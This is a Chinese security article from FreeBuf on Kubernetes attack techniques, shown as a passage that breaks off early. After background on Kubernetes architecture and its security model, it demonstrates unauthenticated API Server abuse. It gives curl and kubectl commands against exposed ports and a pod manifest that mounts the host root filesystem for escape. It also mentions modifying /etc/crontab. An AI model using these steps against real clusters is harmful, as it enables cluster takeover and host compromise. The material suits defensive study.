freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

企业云安全中的Kubernetes攻击手法及防御策略
2025-03-06 14:27:58
所属地 广东省

引言

Kubernetes(K8s)作为云原生架构的核心组件,其复杂性和广泛的应用场景使其成为攻击者的主要目标。K8s的安全问题不仅限于控制平面和工作负载,还涉及容器运行时、网络配置、存储卷等多个层面。本文将全面梳理K8s集群的主要攻击手法,包括2375端口未授权、挂载Docker Socket逃逸、Kubeconfig文件泄露和历史漏洞等,并提供示例代码和防御策略。

一、K8s前置知识

1. Kubernetes架构概述

Kubernetes是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用。其核心组件包括:

  • API Server:集群的入口,负责处理所有REST请求。

  • etcd:分布式键值存储,保存集群的所有配置数据。

  • kubelet:节点上的代理,负责管理Pod和容器。

  • kube-proxy:负责网络代理和负载均衡。

  • Controller Manager:负责维护集群状态(如副本数、节点状态)。

  • Scheduler:负责将Pod调度到合适的节点。

2. Kubernetes安全模型

K8s的安全模型基于以下几个核心概念:

  • 认证(Authentication):验证用户或服务的身份(如客户端证书、Bearer Token)。

  • 授权(Authorization):基于RBAC(基于角色的访问控制)或ABAC(基于属性的访问控制)限制用户或服务的权限。

  • 准入控制(Admission Control):在请求被API Server处理前进行额外检查(如Pod Security Policies)。

  • 网络策略(Network Policies):限制Pod之间的网络通信。

3. Kubernetes攻击面

K8s的攻击面广泛,主要包括:

  • 控制平面:API Server、etcd、Controller Manager、Scheduler等。

  • 工作节点:kubelet、kube-proxy、容器运行时(如Docker、containerd)。

  • 网络:Pod间通信、Service暴露、Ingress配置。

  • 存储:PersistentVolume、PersistentVolumeClaim、Secrets。

  • 供应链:镜像仓库、CI/CD流水线。

二、K8s核心攻击手法及示例

1. API Server未授权访问

攻击原理
K8s API Server(默认端口6443/8080)是集群的控制平面入口。若未启用身份验证或权限配置错误,攻击者可直接通过API Server接管集群。例如,旧版本K8s默认开放8080端口且无需认证。

攻击步骤

  1. 探测开放的API Server端口:

curl -k https://<IP>:6443/api/v1/namespaces/default/pods
  1. 使用kubectl工具直接管理集群:

kubectl -s http://<IP>:8080 get nodes  # 列出所有节点
kubectl -s http://<IP>:8080 create -f malicious-pod.yaml  # 创建恶意Pod
  1. 示例恶意Pod(挂载宿主机根目录):

yaml

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - name: nginx
    image: nginx
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /

通过挂载宿主机文件系统,攻击者可修改/etc/crontab实现

# k8s # Kubernetes安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录